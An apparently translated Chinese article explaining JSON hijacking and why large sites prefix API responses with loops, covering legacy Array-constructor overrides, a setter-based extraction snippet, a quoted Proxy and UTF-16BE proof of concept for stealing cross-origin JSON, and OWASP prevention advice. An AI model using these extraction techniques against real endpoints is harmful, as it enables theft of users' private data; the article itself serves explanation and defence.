为什么 Facebook 的 API 以 for 循环开头
保护您的数据
现代变体
预防
结论
参考:
如果您曾经在浏览器中检查过对大公司 API 的请求,您可能会注意到 JSON 本身之前有一些奇怪的 javascript:
他们为什么要浪费几个字节来使这个 JSON 无效?
保护您的数据
如果没有这些重要字节,任何网站都可能访问这些数据。
此漏洞被称为JSON 劫持,它允许网站从这些 API 中提取 JSON 数据。
起源
在 JavaScript 1.5 及更早版本中,可以覆盖原始对象的构造函数,并在使用括号表示法时调用此覆盖版本。
这意味着你可以这样做:
function Array(){
alert('You created an array!');
}
var x = [1,2,3];
然后警报就会弹出!
var x
用以下脚本替换,攻击者就可以阅读你的电子邮件了!这是通过在加载外部脚本之前
覆盖构造函数来实现的。Array
<script src="https://gmail.com/messages"></script>
数据提取
即使您重写了构造函数,数组仍然会被构造,并且您仍然可以通过 访问它this
。
以下是将警告所有数组数据的代码片段:
function Array() {
var that = this;
var index = 0;
// Populating the array with setters, which dump the value when called
var valueExtractor = function(value) {
// Alert the value
alert(value);
// Set the next index to use this method as well
that.__defineSetter__(index.toString(),valueExtractor );
index++;
};
// Set the setter for item 0
that.__defineSetter__(index.toString(),valueExtractor );
index++;
}
创建数组后,它们的值将被警告!
ECMAScript 4提案中已修复此问题,因为我们现在无法再覆盖大多数原语的原型,例如Object
和Array
。
尽管 ES4 从未发布,但该漏洞在发现后不久就被各大浏览器修复。
您仍然可以在当今的 javascript 中拥有类似的行为,但它仅限于您创建的变量,或不使用括号表示法的项目创建。
这将是先前有效载荷的改编版本:
// Making an array
const x = [];
// Making the overwritten methods
x.copy = [];
const extractor = (v) => {
// Keeping the value in a different array
x.copy.push(v);
// Setting the extractor for the next value
const currentIndex = x.copy.length;
x.__defineSetter__(currentIndex, extractor);
x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);
// Logging the value
console.log('Extracted value', v);
};
// Assigning the setter on index 0
x.__defineSetter__(0, extractor);
x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';
x[1] = 'one';
console.log(x[0]);
console.log(x[1]);
这是一个使用Array
关键字创建数组的版本:
function Array(){
console.log(arguments);
}
Array("secret","values");
如您所见,您添加到数组的数据已被记录,而功能保持不变!
修复本身并不是阻止function Array
创建,而是强制项目创建的括号符号使用本机实现,而不是自定义函数。
这意味着我们仍然可以创建一个Array
函数,但它不会被用方括号创建数组 ( [1,2,3]
) 来调用。如果我们使用或符号,
它仍然会被调用,但这不会影响 JSON 劫持。x = new Array(1,2,3)
x = Array(1,2,3)
现代变体
好吧,我们知道旧版本的浏览器很久以前就存在漏洞。
这对我们今天意味着什么?
好吧,随着 EcmaScript 6 的最新发布,我们添加了一些新的有趣的功能,例如代理!
Portswigger 的Gareth Heyes在博客中介绍了这种攻击的现代变体,它仍然可以让我们从 JSON 端点窃取数据!
使用代理代替访问器,我们可以窃取任何创建的变量,无论其名称是什么。
它可以像访问器一样工作,但适用于任何访问或写入的属性。
利用这一点和另一个怪癖,就有可能再次窃取数据!
UTF-16BE 是多字节字符集,因此两个字节实际上构成一个字符。例如,如果你的脚本以 [" 开头,它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一个有效的 JavaScript 变量 =)。你能看出这是怎么回事吗?
使用这样的脚本:
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
利用该脚本中的一些受控数据以及实用的位移脚本使其再次清晰可读,我们可以再次窃取数据!
以下是他最终的优势 POC,摘自他的博客文章:
<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
由于我不会深入解释他的方法,因此我强烈建议您阅读他的帖子以获取更多信息。
预防
以下是 OWASP 官方建议,摘自其AJAX 安全备忘单
-
使用 CSRF 保护
如果缺少安全标头或 csrf 令牌,则不会返回数据,从而防止漏洞利用。 -
总是返回外部带有对象的 JSON
最后这个解决方案很有趣。
在 Firefox 和 IE 中,这是有效的:
x = [{"key":"value"}]
x = {"key":"value"}
[{"key":"value"}]
{key: "value"}
但事实并非如此:
{"key":"value"}
它无效的原因是,浏览器将括号视为块语句的开头,而不是对象的创建。
不带引号的符号 ,{key: "value"}
被视为标签,其值是语句。
[参见编辑:这是错误的] 与其他浏览器不同,Chrome 将这些情况视为对象创建,因此它会创建一个新对象。
感谢Matt (r0x33d)帮助解开这个谜团!
更新:V8 团队的Mathias Bynens指出了这一点:
但是 DevTools 隐式地包装了您的输入代码以使其工作。
eval
可以通过评估代码而不是简单地运行它来测试这一点:
eval('{"x":"y"}');
这会在所有浏览器上引发相同的错误。
因此,即使开发工具控制台可能没有相同的行为,Chrome 也会在原始脚本标签中正确处理此输入。
结论
虽然这些攻击向量今天可能失效了,但我们永远不知道明天会带来什么新的漏洞,因此我们仍然应该尽力防止 API 被利用。
如果我们理所当然地相信这个 StackOverflow答案,我们就会很容易受到现代变种的攻击,因此仍然可能被黑客入侵。
Google 和 Facebook 的答案是在其 JSON 数据之前添加无效的 javascript 或无限循环,但 OWASP 列出的其他替代方案很少。
参考:
Stackoverflow - 为什么谷歌会在他们的 JSON 响应中添加 [a loop]
Portswigger - 现代网络的 JSON 劫持
以及 Gareth Heyes 的幻灯片